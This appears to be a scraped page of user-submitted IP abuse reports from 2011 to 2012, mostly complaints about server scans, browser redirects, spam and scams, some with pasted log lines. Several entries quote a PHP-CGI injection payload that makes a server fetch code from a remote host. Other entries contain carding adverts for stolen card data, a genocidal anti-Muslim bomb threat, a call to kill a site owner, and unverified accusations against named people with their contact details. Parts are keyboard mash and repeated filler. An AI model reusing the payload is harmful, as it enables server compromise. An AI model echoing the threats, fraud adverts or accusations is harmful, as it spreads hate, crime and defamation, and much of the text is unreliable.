HTTP Fraud

Blacklisted domain www.stockfs.co.uk sending unsolicited spam From: http://24-7loans.net - office@24-7loans.net - get24-7loans.com http://www.ipillion.com/ip/109.70.149.66 small collection of garbage...

i recieved mail from gmail team that www.justhost.com is trying to hijack my gmail account the ip adress of this fraud www.justhost.com is 173.254.28.16 please assist me...

i recieved mail from gmail team that www.justhost.com is trying to hijack my gmail account the ip adress of this fraud www.justhost.com is 173.254.28.16 please assist me...

116.254.203.24 - - [05/Dec/2012:23:35:01 -0200] \"GET /phpmyadmin/scripts/setup.php HTTP/1.1\" 404 420 \"-\" \"ZmEu\" This ip address is scanning my server ... Please ...

116.254.203.24 - - [05/Dec/2012:23:35:01 -0200] \"GET /phpmyadmin/scripts/setup.php HTTP/1.1\" 404 420 \"-\" \"ZmEu\" This ip address is scanning my server ... Please ...

HTTP Fraud 2012-11-29. no good english. sorry. did clicks. HTTP Fraud 2012-11-29. no good english. sorry. did clicks. HTTP Fraud 2012-11-29. no good english. sorry. did clicks. HTTP Fraud 2012-11-29. ...

detected covert channel exploit in ICMP packet. detected covert channel exploit in ICMP packet. detected covert channel exploit in ICMP packet. detected covert channel exploit in ICMP packet....

what is the process of recovering my facebook account having id is reshma.yasmin.7732@facebook.com so please give me a way which solid to recover my account again, thanking you...

Part of IPTelligent botnet attempting URL injection attacks for porn, gambling, and drugs. A bug causes repeated attacks even though they\'re not successful. [masked]?range=Viagra&list=uqopmqjyf...

This mf is trying to hack my box. I traced these chinese to China Unicom (chinaunicom.cn). I don\'t know why are they scanning and what tools they are using but also check proxyproxys.com. Got the add...

This is a very bad site doing all sorts of scanning, injecting, etc. This is a very bad site doing all sorts of scanning, injecting, etc....

Same comment than below: several access in my apache acces log file What is this server doing with his request 46.51.177.110 - - [08/Oct/2012:17:44:59 +0200] \"\\x80\\x92\\x01\\x03\\x01\"...

rror_log:[Wed Oct 03 23:02:33 2012] [error] [client 218.249.78.2] File does not exist: /var/www/html/eFIR/catalog/manager error_log-20120909:[Tue Sep 04 15:54:18 2012] [error] [client 218.249.78.2] Fi...

this ip addres tried to acces my youtube account today but google stopped it ... ... ... ... ... .. ... .. .. .. .. .. ...

suspicious activity 209.67.188.5 tried hacking my google youtube account today ........... ............ ............. ............... ... ... .. .... .. .. .. . . . . . . . . . . . . . . . ...

My apache errorlog : [client 58.218.199.250] script \'/var/www/judge.php\' not found or unable to stat [client 58.218.199.250] File does not exist: /var/www/proxy [client 58.218.199.227] File does not...

Hacker has accessed my youtube/google account. I was notified by Google. This ***** hacker should be stopped. Not sure of any damage to accounts...

Really annoying redirect, don\'t let you go back inless u click it 700 times then you get re-directly somewhere else, in tempe huh? I\'m not far away, maybe I\'ll pay them a \"friendly\" vi...

Repost personal stolen photos and won\'t take them down. Laugh straight in your face when you ask them to take the pictures down!!!!!!! GET THEM DOWN FOR GOOD!!!!!!!!!...

This site keeps redirecting my google results to spam bs, unwanted redirect constantly unwanted redirect unwanted redirect unwanted redirect unwanted redirect unwanted redirect unwanted redirect lastw...

****Hot****selling fresh cvv, dumps,bin,Wu trsfer,tracks 1&2 with pin etc........ Sell Cvv + Transfer WU + Bank Login + Dumsp + Paypal .... IF YOU NEED, CONTACT ME BY Yahoo : mayback.money Mai...

I received a notice from gmail that this IP address was trying to access my account. Below is the notice I received. Suspicious activity in your account We detected activity on your Google Account ...

Continually I am being redirected to 63.209.69.107. While I am using a search engine I get redirected to a URL containing the following ip address 63.209.69.107. The URL I am redirected to has noth...

This one address that is the target of both a redirect and a trojan horse. Start with click.scour.com or hotresults.com The root kit also disables popular firewalls, and deletes Windows firewall c...

Dear client During our usual security enhancement protocol, we observed multiple login attempt error while login in to your online banking account. We have believed that someone other than you is try...

Attempting to hack my server appeared in my logs today and was attemmpting to seek vunrabilities. not sure if this site does anything about this sort of thing....

The user or computer from this IP adress had three unauthorized NAS login attempts, before the NAS application automatically did block this IP adress location....

Trys to hack into Adminpage/Backoffice of the Website. The Attacks are automaticaly generated. Her are a example: [Sun Aug 19 10:34:30 2012] [error] [client 178.32.252.199] client sent HTTP/1.1 reque...

Hi, On 26/Aug/2012 @ 14:27 (Singapore time) ip 209.172.34.155 tried attacking our server - see message below: 209.172.34.155 - - [26/Aug/2012:14:27:24 +0800] \"GET /muieblackcat HTTP/1.1\" ...

nihnb;Internet Protocol address (IP address 205.164.17.170) is a numerical label that is allocated to a computer (can be any electronic device) which is part of a network (Macro Computer Solutions) th...

over the last 4-5 days I noticed alot of HTTP HEAD requests from this IP address. They are by passing robots.txt to simply cache or check site details for one of the sites I manage. I finally bloc...

I did a search in google.com from Poland for \"Miscue Lounge Ft. Myers, Fl\" and the first link was miscuelounge.com. When I clicked that link I was redirected to http://closeupmulticurrency...

why is my site was blocked? i cannot to open my site.. i am complaint with you?? i am very tired today..i am so hungry..ok please opened for me...

kinxx.com hosting clips posted illegally without the owners consent and failing to remove the content listed below or failing to provide contact support email for complaints. http://www.kinxxx.com/vi...

The user with this IP Address sent me an email using a family member by inserting his name along side of a different Yahoo email address. The message contained the following link - KNOXAEDREGISTRY.ORG...

Forcing port 9106 from 31.3.231.210 hostname: host.redstation.co.uk Please contact the host. Service: Unkown Program: httpd Help me blocking this hacker maybe contacting the host of this server. Tha...

ار�د �تح حساب� �ا�� &Ug...

x z x xa md\';lvcl le\'c dls lfe lw;ef k ;ldas kcm x\';sx,\">a ss;, mld k;dkNKLM;,\'ASDMFS DAFSFKL; ASDFJLA; SDK DK DKK KA ADS AD DAD ASD AD AD C D...

Da questo indirizzo partono continuamente diversi tentativi per accedere alla parte amministrativa del mio sito. SPAM, brute-force, DOS attack, phishing..from this IP. Attenzione.....da segnalare a tu...

This IP and several other in the range, are constantly crawling my site with dozens of simultaneous connections (reported by other websites as well). ...

I have noticed that client\'s search queries being hijacked and redirected to 63.209.69.107. Malware or phishing is strongly suspected. Please cal me for more detailsl: Vic 704-996-9114...

http://www.imagesocket.com/photos/guest/2504383 attached is the response I received from http://fhg.bcash4you.com/w4b/m7r4f079/middle003.jpg This is quite suspicious since the website claims to be ...

Accessing this url from my computer revealed a 403 forbidden. http://fhg.bcash4you.com/w4b/m7r4f079/middle003.jpg This is a suspicious response since I recently obtained the details of the affiliate p...

This IP address 219.90.127.174 that you host is using our Copyrighted Images without our permission. We take this seriously. To the ISP Hosting Company: I am the copyright owner of the photographs...

we have identified this IP that make amomalus traffic 174.142.132.212 174.142.132.214 they use the out API for take network coverage of Vodafone IT There...

Bad boy tried to register denied variable: ALERT - tried to register forbidden variable \'_SESSION[!bla]\' through GET variables (attacker \'101.78.134.166\', file \'/var/www/htdocs/PhpMyAdmin/server...

A small portion of my google results are redirected via this IP to a page that has installed a virus which I have removed 2x now....

FRAUD!!! SCAM !!! ++spam!!!+abuse!!!+need help!!!++ This (missjuliajohnson@yahoo.com.ph/missjuliajohnson@cosmo.com/missjuliajohnson@aol.com) is one of the MULTIPLE, FRAUD, SCAM, abuse, bulk...

Most whois sites identify the IP ISP as AppNexus, but nobody seems to agree on exactly where it is located. New York? Anaheim? Anywhere on Planet Earth that it might pretend to be? What IS up with tha...

Adress IP In Range 222.59.10.67 -222.76.210.145 - Jul 16 09:12:18 2012. Wonderfull slide to acess in ghost and maybe want a service whith this pratices, Clt TEC2I...

Wonderfull Ip who want to violation Acces again, this ip it\'s for you % This is the RIPE Database query service. % The objects are in RPSL format. % % The RIPE Database is subject to Terms and Cond...

continuos automized http-attac from 83.171.187.101 to rwbilder.de at 2012/07/12 10:00:00. Seems to be a robot that makes frequent http-requests to my server rwbilder.de. Server is down due to this att...

IF YOU NEED, CONTACT ME BY Yahoo : mayback.money Mail : mayback.money@yahoo.com CHAT WITH ME FOR FURTHER INFORMATION ------------- do WU Transfer ------------- Transfer : US,UK,CA,AU,EU,France,Ge...

I think somebody whith bad bad intention tryed to change in my browser the google page but the ip was too strange: 1.1.1.1 from australia! I am sure it\'s a fraud!...

this IP keeps coming once or two times a week to screen scrape... no robots.txt interaction .. just multiple hits on root then traverse the site then out....

Stalkers, for whatever reason. Always a connection to this computer via NETSAT ANO. Also, always red squiggles under words I type in E-MAIL messages, when I know for a fact I spell them right. A b...

Scans every 2 hours or so..keeps using numerous ip addresses to try and throw off system security software but so far eset has been able to detect every attack. Death to spammers...

These pricks have been constantly and consistently attacking my IP. Hanging around paypal sites. I think they should be banned The IP even though it may have multiple users because these other users ...

These people spider websites and Google ranks them, stealing real SEO from real websites. A URL example is http://cscocalgary.com.previewmysite.com/index.html. They need to be stopped somethow from d...

hello, receiving email from yyd@vqakf.kf-trade.com and he try to add me in friendlist on messenger. after google search the website is www.kf-trade.com and ip adress is 216.218.207.155...

-dsafe_mode=Off -ddisable_functions=NULL -dallow_url_fopen=On -dallow_url_include=On -dauto_prepend_file=http://81.17.24.83/info3.txt Injection of php string into website of 830ad4ea3b311795d5a615b9e...

index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Finfo3.txt 81.17.24.83 trying to inject code int...

Looks to be attempting an data upload from my machine every 2 mins, then whenever I click a link it routes me through this site. The site itself downloaded 4 torajns to my machine. Evil people, Evil...

Envian correo para estafar a gente pidiendo dinero y amenazando a los familiares se hacen pasar por una empresa mexicana y ofrecen un trabajo como titulo...

this ip was stopped for violation acess at repetition, it\'s not the first time he would like to acess, clt TEC2I Mr Testud Thierry !!!...

81.17.24.83 and 117.205.56.162 are trying to inject code into our PHP website. Blocked - request variable length limit exceeded. A B C D E F...

Ongoing for several days now - PHP code injection attempts blocked by suhoshin: ALERT - configured request variable name length limit exceeded - dropped variable \'-dsafe_mode=Off_-ddisable_functions...

I woke this morning with my computer\'s eset smart security 5 error message as follows: Detected covert channel exploit in ICMP packet. remote host ip:204.232.162.151. I looked up the ip and it...

/?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Finfo3.txt Coming from several other IP:s probably just ...

Jun 7 06:16:12 server3 suhosin[4175]: ALERT - configured request variable name length limit exceeded - dropped variable \'-dsafe_mode=Off_-ddisable_functions=NULL_-dallow_url_fopen=On_-dallow_url_inc...

This site is a fraud.I bough few things from them and never got it!!!! The also do not repond for all my emails and lying that the shipping are taking only 48hours.It\'s fraud!...

This IP is used to spam and for HTTP fraud. The owner Cory Hofstad stole $200 from me selling a VPS service to a fake server that was full of viruses and malware. They then shut down and stole my mone...

This site is a scam, the site is made by drug addict and homosexual Brandon Kastning aka Digital-Ninja (Digital-Douchebag) solely to extort money from software developers by illegally sharing their so...

Thursday, June 7, 2012 12:22:47 AM GMT IP Address: 187.195.83.142 Location: Mexico City, Distrito Federal, Mexico My gmail got hacked and I changed my password. Don\'t think anything else got comp...

This user has repeatedly tried to start XST attacks on my websites. Trying to use malicious software through GET request. It seems the whole veloxzone.br domain is corrupted....

IS SPAMMING ME . I COME DOWN WITRH A BOMB AND GET RID OF MUSLIMS PIGS HEIL HITLER GAS ARABS BLLLLLLLLL LLLLLL LLLLLL LLLLLL LLLLLL...

he is a turkish knobhead. asdg asg asg asg asdg asg asg asg asg asgd asdg asdg asdg asdg asdg as gasg asdg asg asdg asg asg asg asg ...

I was informed by a fan that this site has copyrighted material of me captured from my live cams shows on Cam4. Upon further investigation, a realized that these scumbags actually have a tab on the l...

Trying to Modify POST HTTP headers, several attempts made. Several attempts from similar IPs from the same ISP have been recorded in the past week....

The mods ignore you when requesting that threads or photos be removed of you. I had to send in 15 seperate emails, half ignored and the other half they asked me for money to remove the images. The mod...

Every 10 minutes I get an attempt to access the backend of my site. This has been going on for 12 hours straight today....

THIS IP ADDRESS WANTS ME TO SEND MONEY TO THEM BECAUSE THEY SAID THAT THEY WERE DOING MISSIONARY WORK IN AFRICA AND THE UK. I HAVE RECEIVED SEVERAL EMAILS STATING THE SAME THING ABOUT MISSIONARY WORK....

coming hidden \"Hughes Network Systems\" almost crashed my server making so many request a second, ban forever this IP will never recover, be careful...

Address is a porn site and our system cannot block it. Very misleading. Do something as children can access it and its being used to bypass software that block adult content. Thanks...

Again, this IP is trying to enter servers with files like spaw2/spacer.gif this time. A good redirection of this crook will do real good for him. Redirection towards FBI website.......

their bot form burst/hostnoc.net is continuiously hitting servers in the datacenter. the pattern is like 5 hits in 3 seconds to the same URL but nothing else just a connection attempt and a drop. ...

keeps looking for spacer.gif and other files ... on my servers looking for backdoor to get access. hit 3 other pages and on my GEO redirection is trying to over ride the redirected URL.. ...

<a href=\"http://www.christians7.com\">Red sole heels</a> <a href=\"http://www.christians7.com\">red bottom shoes</a> <a href=\"http://www.christian...

Odes\'ka Oblast\' showed up in tracker as multiple countries and Forging ip trying to find hole in fire wall and hack site. Left links to click on brings pixelated not found message...

On 12.04.2012 01:07:59 from this IP where recorded two attempts to upload to the site using RFI methods files with multiple extensions to joomla-tips.org. The attacker returned next day and attempted ...

Attention, Notice to all of you, here is a cost loans to offer a very low interest rate of 3% apply for your loan approved today, and with 5-7 business days to receive, for they were Opportunity to g...

pls can you spot this company , i hate them, taking my details !!!!!! they must go to hell, get a real job, and f*** off...

This URL appears in my server access log frequently, with connection attempts to common admin URL locations such as php-myadmin etc.. This is clearly an attempt to find admin pages, to perhaps attemp...

every time i go on any search engine (yahoo,google,bing, etc.) it automaticaly redirects my browser this is really becoming annoying and it was hacking my email....

the user was dosing a nulled site ronpaulsocialnetwork.com and causing the site not to load for an extended period of time while bragging about it on Twitter....

121.186.133.35 - - [20/Apr/2012:16:44:26-0300] GET http://www.baidu.com/ HTTP/1.1 301 - 177.28.64.194 - - [20/Apr/2012:23:29:31-0300] \\xa0\\e\\xb4p \"\\xc7\\x90{\\x80\\xa3\\x82\\xf9]\\xc8\\xb6\...

<p> </p> <p><a href=\"http://www.escorthongkong.com\"><strong>Hong Kong Escort</strong></a> - Hundred of attractive, elegant, captivating y...

118.123.240.176 - - [12/Apr/2012:02:21:49 -0300] \"GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1\" 403 243 118.123.240.176 - - [12/Apr/2012:02:21:50 -0300] \"GET /phpMyAdmin/s...

177.43.124.75 - - [13/Apr/2012:21:20:02 -0300] \"GET http://www.baidu.com/ HTTP/1.1\" 301 - 188.165.210.36 - - [13/Apr/2012:22:41:46 -0300] \"HEAD / HTTP/1.0\" 200 - 188.165.210.36...

<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01//EN\" \"http://www.w3.org/TR/html4/strict.dtd\"> <html> <head> <meta content=\"text/html; charset=ISO-8...

Return-Path: <lyaziz@sanko.nl> Received: from sanko.nl (vsmxproxy1.mel.eftel.com [151.57.58.52]) by sv1.per.eftel.com (Postfix) with SMTP id 961D2CDD52; Wed, 4 Apr 2012 05:52:11 +0800 (WST) M...

888 8888888888 .d8888b. 8888888888 888b 888 8888888b. 888 888 d88P Y88b 888 8888b 888 888 \"Y88b 888 888 888 888 888 88888b 888 888 888 888...

Hasn\'t harmed my computer but is EXTREMELY annoying and aggravating! Having a hard time removing it- apparently it works using different methods, because some software works for some victims but not...

201.234.200.186 - - [26/Mar/2012:03:02:06 +0700] \"GET /admin/pma/index.php HTTP/1.1\" 404 473 \"-\" \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Ch ro...

2012-03-26 15:10:42 88.80.10.1 http://88.80.10.1/pp/anp.php?a=UTWHTRGY%40DFJO%5B&b=1155&c=c12f&i=3 HTTP/1.1 88.80.10.1 Access denied with code 400 (phase 2). Pattern match \"^\\\\w+:/...

person with ip address 107.20.145.211 has been recently using my mail with IMAP can anyone trace this person. when i lookup for this ip address i has taken to us ...

http fraudhttp fraudhttp fraudhttp fraudhttp fraudhttp fraudhttp fraudhttp fraudhttp fraudhttp fraudhttp fraudhttp fraudhttp fraudhttp fraudhttp fraudhttp fraudhttp fraudhttp fraudhttp fraudhttp fraud...

They are sending mails from Prenzlau (Brandenburg, Germany) to betray people with disease insurances, want to get name, address, phone numbers and other personal data...

BLACKHATNINJAS.COM SCAM - CORY HOFSTAD AND BRANDON KASTNING RUNNING FRAUDULENT WEBSITE STEALING MONEY. CORY HOFSTAD AND BRANDON ARE CONVICTED CRIMINALS THAT ARE STEALING MONEY THROUGH FRAUD VIA THEIR...

I have got many clicks on my website along with hacking attempts from this IP adress upon checking I found out its a Proxy Address utilizing a network sharing device...

To all the people who are hit by this adress, please see http://whois.domaintools.com/174.142.192.219 for additional information. I hope this will end soon. Kind regards, not my name...

Please be carefull in order to contact these persons, maybe via this way you are giving unwanted additional information, which will help these guys to really get in to your system. One way to block th...

Someone from this adress is trying to get in my server. This IP-adress is unknown for me. I\'m goiing to try to contact the owner as weel via whois adress....

Every time I try to look up a certain thing, I click on any link, or even images on google and the error of http://63.209.69.107 comes up and redirects me. It is annoying and it is not going away. ...

88.80.10.1 - - [11/Mar/2012:22:06:29 +0100] \"GET http://88.80.10.1/pp/anp.php?a=%5C%5CJW%5E__BDZCW%40&b=1155&c=e8a4 HTTP/1.1\" 302 377 \"-\" \"Mozilla/4.0 (compatible...

This site is the first address in a string starting with HTTP:// then it lead to other sites that it pulls up based on what I was searching for....

<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\"> <HTML><HEAD> <META content=\"text/html; charset=gb2312\" http-equiv=Content-Type> <META ...

The server 58.218.199.147 connects my vserver and send a GET http://www-hardjob.net/proxyheader.php request. This request comes multiple per day and via http and https. Do not know what web servers w...

stupid attempt to break in via /administrator/ seems to be human and not bot anyway not very scared loool 78.29.15.137 - - [01/Mar/2012:13:38:24 +0100] \"GET /administrator/ HTTP/1.1\" 403 ...

http://allrequestsallowed.com/?PHPSESSID=5gh6ncjh00043XSMTWP_CCZGU no impact just useless traffic & usage like others... just bad behavior my server is configured to call this kind of pollution - ...

Security alert type : IP Subnet Broadcast Amplification IP source address : 184.173.195.64 IP destination address : 76.227.65.191 Number of attempts ...

Feb 25 05:39:49 scorpio postfix/smtpd[79741]: warning: hostname NSG-Static-009.36.71.182.airtel.in does not resolve to address 182.71.36.9: hostname nor servname provided, or not known Feb 25 05:39:49...

annoying attempts forging the http headers 31.44.184.50 - - [24/Feb/2012:07:08:19 +0100] \"GET http://allrequestsallowed.com/?PHPSESSID=5gh6ncjh00043SSTHWTEYC%40%40JGT%5B HTTP/1.1\" 200 154...

port scanning and attempting to force HTTP errors 2012-02-22 18:28:26.884141| 221.192.199.49 |/error/document| 2012-02-22 21:50:27.174795| 221.192.199.49 |/ip.php| 2012-02-22 21:50:27.286480| 221.192...

2012.02.22. 2:04:29 Unknown Denied: Intrusion.Generic.WebApp.DirTravers.exploit TCP from 204.93.180.2 to local port 80 reportted by kaspersky internet security 2011 22. 02. 2011 hope its help have a...

countless attempts since this morning, on different ports. i have no troubles from it since i have peerguard but its annoying to see it on me. can someone please do them a ddos or whatever, they are q...

They advertising for a fake product , Please pay attention. I purchased this product for 200$ CDN , it was Fake , there is no contact on this website...

178.18.195.106 xx.xx.xx.xx - [15/Feb/2012:06:34:30 +0100] \"GET //phpMyAdmin-2.5.6-rc1/index.php HTTP/1.1\" 404 345 \"-\" \"-\" 178.18.195.106 xx.xx.xx.xx - [15/Feb/2012:...

Contacted me on yahoo asking all questions sent wwwadresses scamming sent malware With instructions claiming it was in bath and wanted cam hock up and sent cam site instruction s...

Why is malwares bytes saying it blocked access to a malicious website to 89.248.171.134 outgoing on port 52667. Please let me know by emailing me at allen81@gmail.com...

Try to determine configuration by sending http header for php : 31.44.184.50 - - [03/Feb/2012:00:24:08 +0100] \"GET http://allrequestsallowed.com/?PHPSESSID=5gh6ncjh00043YZMW%5EQ_G%5CEBR HTTP/1....

Symantec Endpoint Protection has detected as following : Web Attack: Facebook LikeJacking Attack 9Attack on the application C:\\Documents and Settings\\Administrateur\\Local Settings\\ApplicationData\...

Date & Time Of Attack: 2012-02-04 9:35:49 MST IPS Alert Name: Web Attack: Blackhole Exploit Kit Website 11 Attacking Computer: malahovsha.co.cc (83.133.125.125) Attacker URL: malahovsha.co.cc/...

I love them very murch I want to be with them all I love you . You love me? and I love you...

this site is nothing but a place for scum to upload and share pictures of underage girls and attempt to ruin their lives and brand them with a \"whore\" reputation forever. shut it down...

This site virtually thrives off underage porn. There are subpages categorized by state, where people can upload any pictures they want of any girl, and collect them with each other. Names are posted, ...

58.218.199.227 58.218.199.250 58.218.199.147 202.120.189.227 All attempting to bruteforce attack port 80 TCP and general port scanning of all other ports Firewall: Cyberguard Snapgear SecureComputin...

this Ipaddress has been caught for Kinka Valves in houston texas, for redirecting Google resultes. ds dddddd dd ddddddd dddddddddddd dddd ddd dd ddd dddd dddddddd...

Indiatimes, in.com, yahoo, linked in redirects me to this IP on all browsers, please help me getting rid of this problem soon. Much Thanks for your help in advance...

I cant open on my explorer yahoo.com and rediff.com its a major proble in my office please give me a solution for this problem am waiting ...

this person tried to hack me twice on 21.1.2012, I would greatly appreciate it if someone would take these complaints serious and stop these criminals from trying to invade our privacy....

(jamesstephanie50@yahoo.com),(,jennybrooke67@yahoo.com) it started with jamesstephamie50 ,and now its jennybrooke67,and they have others ,as jamesstephanie50 she tried to scam me saying she was strand...

http://www.who.is/dns/anonib.com/ Hello, I wasn\'t able to find a standard contact email. According to who.is records, your services are being used by Anonib.com ( http://www.who.is/whois/anonib.co...

please stop this person. getting emails from a eimar kelly with a linkin message also going to lxgannca@playstation.sony.com thanks, i certainly appreciate it. larry and gail guerke...

Bonjour, Quelque soit la situation c\'est pas toujours evident de parler de certaines choses quand on a des problemes hxxp://theoryliquid.com/secure.php?cmd=home evite de se justifier quand on a beso...

Every time that I try and search something on a search engine (i.e. google, yahoo, bing, etc.) I get redirected to this i.p. address! Shut this down immediately!...

device is trying to proxy requests via our http servers. More IP adresses in the same range are used. 58.218.199.250 as well GET http://financeande.com/feed/feed.php HTTP/1.1 GET http://www.carcluba.c...

Please help me. I could not access yahoo website at all. Yahoo domain opens this http://212.113.36.83 fellows page who happens to be from ukraine and need ur urgent help kindly solve my problem as soo...

Browser redirects to a page about web hosting says the same ip and named home not allowing to go to yahoo microsoft or any other websites...

Nasty redirector points here. To fix, you need to get a bootable partition manager and delete a hidden partition it creates (10MB or less is the size of the hidden partition). There are also sever...

Everytime I search sometime I get redirected to this ip address. Please help me to get rid of this reirected tracking virus, and I hate it...

Scans http server looking for phpmyadmin setups. Sends requests like: \"GET /muieblackcat HTTP/1.1\" \"GET //scripts/setup.php HTTP/1.1\" \"GET //phpmyadmin/scripts/setup.php...

This IP pops up whenever I refresh. The screen goes white. I hate it... but im not sure if this IS the problem. my little sister gets onto stupid little flash games....

malware redirecting links to this ip address. every search engine link that is clicked is redirected to this ip address. lorem ipsum dolor lorem ipsum dolor...

DO YOU NEED A LOAN? DO YOU WANT TO PAY OFF YOUR BILLS? HERE IS THE RIGHT PLACE. IF YES CONTACT MY VIA EMAIL: evisbilly@yahoo.co.za WITH LOAN TRANSFER FEE OF JUST ONLY $350...

Brute force http php admin tool/password script attack originating from this IP address. Appears to be using a scripting tool to gain access to phpMyAdmin script and/or exploit vulnerabilities of that...

one hit from this IP .The error log say it all : 61.190.172.2 - - [17/Dec/2011:12:01:24 +0000] \"GET /user/soapCaller.bs HTTP/1.1\" 404 1521 \"-\" \"Morfeus Fucking Scanner\&...

when i go to filesonic i am rediricted and i recseive that my ip is the forwarded ip adress and they ask for my filesonic pw and log in name and i receive the same message again and again...

when i go to filesonic i am rediricted and i recseive that my ip is the forwarded ip adress and they ask for my filesonic pw and log in name and i receive the same message again and again...

when i go to filesonic i am rediricted and i recseive that my ip is the forwarded ip adress and they ask for my filesonic pw and log in name and i receive the same message again and again...

31.44.184.50 - - [11/Dec/2011:20:24:28 +0100] \"GET http://allrequestsallowed.com/?PHPSESSID=5gh6ncjh00043YTMW_R_F%40B%5C%5D%40 HTTP/1.1\" 200 1786 \"-\" \"Mozilla/5.0 (Window...

67.228.72.3 - - [07/Dec/2011:16:10:13 -0800] \"GET http://www.advertise.com/cgi-bin/search/mxml.fcgi?Terms= blah blah blah using randomized UA. Brought up new server and immediately started...

We keep receiving emails offering jobs from our own email addresses from Bobby@seekeur.com and Vickie@seekeur.com. We wish these emails to stop. If we respond to them they will only increase....

[Thu Dec 01 12:04:21 2011] [error] [client 87.193.155.162] Invalid URI in request GET HTTP/1.1 HTTP/1.1 [Thu Dec 01 12:04:21 2011] [error] [client 87.193.155.162] File does not exist: /var/www/recordi...

This company, with this IP or web www.szwireless.com are scamer and thief´s. Your owner is Victor Lam or Quinquan Lin. It send you mail with information about of product sell as mobile ph...

access_log:173.239.16.148 - - [28/Nov/2011:14:13:10 +0800] \"GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1\" 404 16332 \"-\" \"ZmEu\" access_log:173.239.16.148 ...

error_log:[Mon Nov 21 23:24:33 2011] [error] [client 46.19.141.244] script \'/var/www/html/eFIR/catalog/azenv.php\' not found or unable to stat error_log:[Tue Nov 22 08:03:17 2011] [error] [client 46....

Malware is infecting the computer and sending to this site! I effects all browsers on computer. Running Windows XP and Firefox. Please stop this site as soon as possible!...

access_log:203.84.234.62 - - [16/Nov/2011:07:47:18 +0800] \"GET /admin/sqlpatch.php/password_forgotten.php?action=execute HTTP/1.1\" 404 16339 \"-\" \"Mozilla/5.0 (Macintosh; ...

/~whataret/webscrcmd/webscrcmd=_account-run=524685741142/updates-paypal/confirm-paypal/ using someone website for good of his/her own.. suspected phishing attack being hosted on your web site. Althou...

Hello,this russian address just attacked my computer.I assume its a russian ip and the attack was called web attack malicious web toolkit website 9.How can these attacks be prevented and how can a con...

all web browser search results are redirected to this address: http://63.209.69.107. There are many users reporting the same issue on the net. The redirect then gives it\'s own \"alternative\&quo...

my http error log is as follows: [Wed Nov 09 23:19:57 2011] [error] [client 173.231.15.58] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /w00tw00t.at.ISC.SANS.DFind:) ...

i dont quite know how to name the problem but my avast security center keeps popping up after 5 mins. when i click it away it reappears after 5 minutes saying there has been blocked a harmfull site......

redirecting me from other search engines to this same site as everyone else please kill the person who owns this site and make them die a painful and horrible death....

This IP tried to enter files on servers like \"/wp-login.php\". Did not succeed in my case but people beware of this IP address and block him steady in your htaccess file....

Same behaviour as here: http://www.ipillion.com/ip/66.162.219.251 [Wed Oct 19 00:51:49 2011] [error] [client 174.129.16.65] File does not exist: /var/www/w00tw00t.at.blackhats.romanian.anti-sec:) [W...

Within 40 seconds there were 100 attempts to find an admin access site: [Thu Oct 20 17:30:00 2011] [error] [client 66.162.219.251] File does not exist: /var/www/w00tw00t.at.blackhats.romanian.anti-s...

Interesting url appeared: Ipillion.com/site/carrie-prejean-sextape.com heading and metatags refer to this site but then they insert ban on Roshani-Gunewardene. domain warnings. The cyberstalkers do ...

Can not connect and access to the website of load extreme Philippines got a message that says \"Connection 69.64.33.185 failed\" and that I have to use a root certification. What is this, He...

Can not access website on load extreme Philippines on my Laptop, got a message \" Connection to 69.64.33.185 failed\" that server is not supported with proper certification and suggested to ...

ALL Google searches going to http://63.209.69.107 on all searches need a cleaner to stop this in browsers I.E.8 & FireFox v7.01.0.ALL Google searches going to http://63.209.69.107 on all searches ...

This number is what comes up everytime I click on something on a search engine...http://63.209.69.107/search/web... and also, the website shows up with an S in the corner and says it is a sponsored si...

Exploited our Proxy. Was sending and accessing malicious sites. This IP address sent out over 2.5 GB of data. Definitely keep an eye on this guy....

Hi i think it is a Palevo C&C alternate, I still not managed to get time to get rid of it but malwarebytes is good with stoping the try....

error_log:[Tue Sep 13 07:46:24 2011] [error] [client 202.167.218.201] File does not exist: /var/www/html/eFIR/catalog/admin error_log:[Tue Sep 13 07:46:25 2011] [error] [client 202.167.218. 201] File ...

Symantec Endpoint Protection has detected : Web Attack: Facebook LikeJacking Attack 9 Attack on the application C:\\Documents and Settings\\Administrateur\\Local Settings\\Application Data\\Google\\Ch...

93.114.43.233 - - [07/Oct/2011:07:11:36 +0300] \"GET / HTTP/1.1\" 400 226 93.114.43.233 - - [07/Oct/2011:07:12:11 +0300] \"GET / HTTP/1.1\" 400 226 93.114.43.233 - - [07/Oct/2011:...

Rogue fake \"scanner\" site that tries to scare you into downloading this \"security software\" that will do nothing but further harm your machine. Was also tied into a \'Lupus\' ...

This site was linked off a search for \"hereditary lupus\" in google and it attempted to download malware onto my computer. Pops up fake security messages to make you \"click\" a...

Dear Sir or Madam, manga-lib.pl hosted on OVH servers in Paris, France is constantly publishing copyrighted materials (manga scans). Also they share work of other websites (i.e. projekt-manga.net), su...

SRC 31.44.184.50 DATE [14/Sep/2011:18:35:16 +0200] GET http://allrequestsallowed.com/?PHPSESSID=5gh6ncjh00043V%5BMWU%5E_CJZJP HTTP/1.1\" 500 - appeared in my logs today.. ehh...yeah. ...

With they website www.lgz.ro , they are stoling password and using to hack our e-mail\'s and other games account . They didn\'t have password encrypted ... and that is fraund of privicy . Thanks very ...

63.209.69.107 bad form! Redirect virus intended to hack into my system and steal my money....all $10 of it is mine, MINE, you hear me Tempe, AZ geek-a-zoid? Shut this IP down and arrest this threat...

Collecting bank details of users as Income Tax department. Collecting bank details of users as Income Tax department. Collecting bank details of users as Income Tax department. ...

Open the address and see they are fraud for the first time i wanted to trust someone but they took all my cellphone credit. They ask me to answer questions and then send me sms and ask to sms back whe...

unauth login, more than one time, from different IP\'s, this one more than once I feel that my facebook account is being broken into at random. I am not sure of the source. I am not sure of the reason...

